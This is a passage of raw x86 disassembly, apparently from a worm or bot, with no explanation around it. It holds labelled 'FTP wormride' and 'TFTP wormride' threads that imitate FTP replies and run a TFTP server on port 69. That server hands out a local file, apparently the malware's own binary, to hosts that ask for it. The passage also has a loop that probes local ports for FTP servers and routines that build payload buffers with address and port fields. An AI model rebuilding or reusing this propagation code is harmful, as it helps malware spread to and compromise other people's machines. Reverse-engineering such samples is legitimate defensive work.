loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EC0C call sub_416B88 pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 add esp, 0Ch push [ebp+var_554] call sub_416B76 pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 add esp, 0Ch push [ebp+var_554] call sub_416B82 pop ecx push offset dword_41EC0C push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EBE8 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DB90 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 0 push 2 push 2 call dword_417218 mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EC0C call sub_416B88 pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 add esp, 0Ch push [ebp+var_10C] call sub_416B76 pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DF10 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EBF0 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EBF4 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DB90 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 pop ecx push [ebp+var_108] call dword_417230 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C pop ecx push eax call dword_417238 mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], 